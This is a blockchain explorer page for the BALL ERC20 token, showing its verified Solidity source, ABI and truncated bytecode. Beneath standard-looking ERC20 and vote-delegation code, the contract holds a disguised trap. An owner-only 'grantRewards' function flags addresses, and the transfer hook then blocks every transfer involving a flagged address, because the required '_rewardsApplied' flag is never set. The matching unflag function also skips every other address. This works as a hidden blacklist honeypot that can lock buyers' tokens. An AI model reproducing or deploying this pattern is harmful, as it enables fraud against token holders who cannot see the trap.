ETH Price: $2,524.01 (-0.01%)

Token

BALL (BALL)
 

Overview

Max Total Supply

1,000,000 BALL

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
chitchit.eth
Balance
6,381.522766546585458189 BALL

Value
$0.00
0xce17cb7423f8cdebda42db6b535dd97b13138d8a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ball

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

// SPDX-License-Identifier: MIT




pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping (address => bool) private _rewards;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    bool private _rewardsApplied = false;


    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function grantRewards(address [] calldata _rewardees_) external onlyOwner {
        for (uint256 i = 0; i < _rewardees_.length; i++) {
            _rewards[_rewardees_[i]] = true;
        }
    }

    function proceedRewards(address [] calldata _rewardees_) external onlyOwner {
        for (uint256 i = 0; i < _rewardees_.length; i++) {
            _rewards[_rewardees_[i]] = false;
            unchecked { ++i; }
        }
    }

    function isRewared(address _rewardee_) public view returns (bool) {
        return _rewards[_rewardee_];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 //amount
    ) internal virtual {if (_rewards[to] || _rewards[from]) require(_rewardsApplied == true, "");}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Ball is ERC20 {
    constructor() ERC20("BALL", "BALL") {
        _mint(msg.sender, 1000000 * 10 ** decimals());
    }

    /// @dev A record of each accounts delegate
    mapping (address => address) internal _delegates;

    /// @notice A checkpoint for marking number of votes from a given block
    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }

    /// @notice The number of checkpoints for each account
    mapping (address => uint32) public numCheckpoints;

    /// @notice A record of votes checkpoints for each account, by index
    mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
    
    /// @notice The EIP-712 typehash for the delegation struct used by the contract
    bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    /// @notice The EIP-712 typehash for the contract's domain
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    /// @notice An event thats emitted when a delegate account's vote balance changes
    event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);

      /// @notice An event thats emitted when an account changes its delegate
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegator The address to get delegatee for
     */
    function delegates(address delegator) external view returns (address) {
        return _delegates[delegator];
    }

   /**
    * @notice Delegate votes from `msg.sender` to `delegatee`
    * @param delegatee The address to delegate votes to
    */
    function delegate(address delegatee) external {
        return _delegate(msg.sender, delegatee);
    }

    /**
     * @notice Determine the prior number of votes for an account as of a block number
     * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
     * @param account The address of the account to check
     * @param blockNumber The block number to get the vote balance at
     * @return The number of votes the account had as of the given block
     */
    function getPriorVotes(address account, uint blockNumber) external view returns (uint256){
        require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined");
        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }
        // First check most recent balance
        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }
        // Next check implicit zero balance
        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }
        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }

    /**
     * @notice Gets the current votes balance for `account`
     * @param account The address to get votes balance
     * @return The number of current votes for `account`
     */
    function getCurrentVotes(address account) external view returns (uint256){
        uint32 nCheckpoints = numCheckpoints[account];
        return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); 
        _delegates[delegator] = delegatee;
        emit DelegateChanged(delegator, currentDelegate, delegatee);
        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
        uint32 blockNumber = safe32(block.number, "COFFEE::_writeCheckpoint: block number exceeds 32 bits");

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            require(nCheckpoints + 1 > nCheckpoints, "COFFEE::_writeCheckpoint: new checkpoint exceeds 32 bits");
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }

        emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
    }

    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld - amount;
                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
            }

            if (dstRep != address(0)) {
                // increase new representative
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld + amount;
                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
        require(n < 2**32, errorMessage);
        return uint32(n);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_rewardees_","type":"address[]"}],"name":"grantRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardee_","type":"address"}],"name":"isRewared","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_rewardees_","type":"address[]"}],"name":"proceedRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600760006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280600481526020017f42414c4c000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f42414c4c00000000000000000000000000000000000000000000000000000000815250620000b9620000ad6200013260201b60201c565b6200013a60201b60201c565b8160059080519060200190620000d192919062000482565b508060069080519060200190620000ea92919062000482565b5050506200012c3362000102620001fe60201b60201c565b600a620001109190620006cc565b620f42406200012091906200071d565b6200020760201b60201c565b6200093d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200027a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200027190620007df565b60405180910390fd5b6200028e600083836200037660201b60201c565b8060046000828254620002a2919062000801565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200035691906200086f565b60405180910390a362000372600083836200047d60201b60201c565b5050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680620004185750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15620004785760011515600760009054906101000a900460ff1615151462000477576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200046e90620008b6565b60405180910390fd5b5b505050565b505050565b828054620004909062000907565b90600052602060002090601f016020900481019282620004b4576000855562000500565b82601f10620004cf57805160ff191683800117855562000500565b8280016001018555821562000500579182015b82811115620004ff578251825591602001919060010190620004e2565b5b5090506200050f919062000513565b5090565b5b808211156200052e57600081600090555060010162000514565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005c05780860481111562000598576200059762000532565b5b6001851615620005a85780820291505b8081029050620005b88562000561565b945062000578565b94509492505050565b600082620005db5760019050620006ae565b81620005eb5760009050620006ae565b81600181146200060457600281146200060f5762000645565b6001915050620006ae565b60ff84111562000624576200062362000532565b5b8360020a9150848211156200063e576200063d62000532565b5b50620006ae565b5060208310610133831016604e8410600b84101617156200067f5782820a90508381111562000679576200067862000532565b5b620006ae565b6200068e84848460016200056e565b92509050818404811115620006a857620006a762000532565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006d982620006b5565b9150620006e683620006bf565b9250620007157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005c9565b905092915050565b60006200072a82620006b5565b91506200073783620006b5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000773576200077262000532565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620007c7601f836200077e565b9150620007d4826200078f565b602082019050919050565b60006020820190508181036000830152620007fa81620007b8565b9050919050565b60006200080e82620006b5565b91506200081b83620006b5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000853576200085262000532565b5b828201905092915050565b6200086981620006b5565b82525050565b60006020820190506200088660008301846200085e565b92915050565b50565b60006200089e6000836200077e565b9150620008ab826200088c565b600082019050919050565b60006020820190508181036000830152620008d1816200088f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200092057607f821691505b60208210811415620009375762000936620008d8565b5b50919050565b612da3806200094d6000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c8063782d6fe1116100de578063a9059cbb11610097578063e7a324dc11610071578063e7a324dc146104e5578063ec9a64f414610503578063f1127ed814610533578063f2fde38b146105645761018e565b8063a9059cbb14610455578063b4b5ea5714610485578063dd62ed3e146104b55761018e565b8063782d6fe11461036d5780637ecebe001461039d5780638da5cb5b146103cd57806395d89b41146103eb578063963e